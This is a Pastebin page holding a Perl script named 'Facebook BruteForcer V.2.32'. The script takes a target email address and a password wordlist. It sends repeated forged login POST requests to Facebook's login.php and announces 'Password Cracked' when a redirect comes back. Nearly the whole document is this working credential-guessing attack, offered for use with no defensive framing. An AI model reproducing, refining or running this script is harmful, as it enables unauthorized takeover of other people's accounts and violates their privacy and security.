0xspade

Facebook BruteForcer V.2.32

Aug 19th, 2016
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.95 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3.  
  4. use strict;
  5. use Net::SSLeay::Handle;
  6.  
  7. if(!defined($ARGV[0] && $ARGV[1])) {
  8.  
  9. system('clear');
  10. print "                               Version 2.32 \n";
  11. print "\033[1;32md88888b  .d8b.   .o88b. d88888b d8888b.  .d88b.  db   dD d88888b d8888b. \n";
  12. print "88'     d8' `8b d8P  Y8 88'     88  `8D .8P  Y8. 88 ,8P' 88'     88  `8D \n";
  13. print "88ooo   88ooo88 8P      88ooooo 88oooY' 88    88 88,8P   88ooooo 88oobY' \n";
  14. print "88~~~   88~~~88 8b      88~~~~~ 88~~~b. 88    88 88`8b   88~~~~~ 88`8b   \n";
  15. print "88      88   88 Y8b  d8 88.     88   8D `8b  d8' 88 `88. 88.     88 `88. \n";
  16. print "YP      YP   YP  `Y88P' Y88888P Y8888P'  `Y88P'  YP   YD Y88888P 88   YD \n";
  17.  
  18. print "\033[1;31m          ======================================================\n";
  19. print "\033[1;37m               Usage: perl $0 Email wordlist.txt\n\n\n\n\n\n\n\n\n";
  20. print "\033[1;31m          ======================================================\n";
  21. print "\n";
  22. print "\n";
  23. print "\n";
  24. print "\n";
  25. print "\n";
  26. print "\n";
  27. exit; }
  28.  
  29. my $user = $ARGV[0];
  30. my $wordlist = $ARGV[1];
  31.  
  32. open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
  33.  
  34.  
  35. print "                               Version 2.32 \n";
  36. print "\033[1;32md88888b  .d8b.   .o88b. d88888b d8888b.  .d88b.  db   dD d88888b d8888b. \n";
  37. print "88'     d8' `8b d8P  Y8 88'     88  `8D .8P  Y8. 88 ,8P' 88'     88  `8D \n";
  38. print "88ooo   88ooo88 8P      88ooooo 88oooY' 88    88 88,8P   88ooooo 88oobY' \n";
  39. print "88~~~   88~~~88 8b      88~~~~~ 88~~~b. 88    88 88`8b   88~~~~~ 88`8b   \n";
  40. print "88      88   88 Y8b  d8 88.     88   8D `8b  d8' 88 `88. 88.     88 `88. \n";
  41. print "YP      YP   YP  `Y88P' Y88888P Y8888P'  `Y88P'  YP   YD Y88888P 88   YD \n";
  42.  
  43. print "\033[1;31m          ======================================================\n";
  44. print "\033[1;33m                            made by [[Z hacker]]                 \n";
  45. print "\033[1;31m         ========================================================\n";
  46.  
  47. print "\033[1;39m\n [+] Cracking Started on: $user ...\n\n";
  48. print "=======================================\n";
  49.  
  50. while (my $password = <LIST>) {
  51. chomp ($password);
  52. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  53.  
  54. my $a = "POST /login.php HTTP/1.1";
  55. my $b = "Host: www.facebook.com";
  56. my $c = "Connection: close";
  57. my $e = "Cache-Control: max-age=0";
  58. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  59. my $g = "Origin: https://www.facebook.com";
  60. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  61. my $i = "Content-Type: application/x-www-form-urlencoded";
  62. my $j = "Accept-Encoding: gzip,deflate,sdch";
  63. my $k = "Accept-Language: en-US,en;q=0.8";
  64. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  65.  
  66. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  67. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  68. my $cl = length($post);
  69. my $d = "Content-Length: $cl";
  70.  
  71.  
  72. my ($host, $port) = ("www.facebook.com", 443);
  73.  
  74. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  75.  
  76.  
  77. print SSL "$a\n";
  78. print SSL "$b\n";
  79. print SSL "$c\n";
  80. print SSL "$d\n";
  81. print SSL "$e\n";
  82. print SSL "$f\n";
  83. print SSL "$g\n";
  84. print SSL "$h\n";
  85. print SSL "$i\n";
  86. print SSL "$j\n";
  87. print SSL "$k\n";
  88. print SSL "$l\n";
  89. print SSL "$cookie\n\n";
  90.  
  91. print SSL "$post\n";
  92.  
  93. my $success;
  94. while(my $result = <SSL>){
  95. if($result =~ /Location(.*?)/){
  96. $success = $1;
  97. }
  98. }
  99. if (!defined $success)
  100. {
  101. print "\033[1;31m[-] $password -> Failed \n";
  102. close SSL;
  103. }
  104. else
  105. {
  106. print "\033[1;32m\n########################################################\n";
  107. print "[+] \033[1;32mPassword Cracked: $password\n";
  108. print "\033[1;32m########################################################\n\n";
  109. close SSL;
  110. exit;
  111. }
  112. }
Add Comment
Please, Sign In to add comment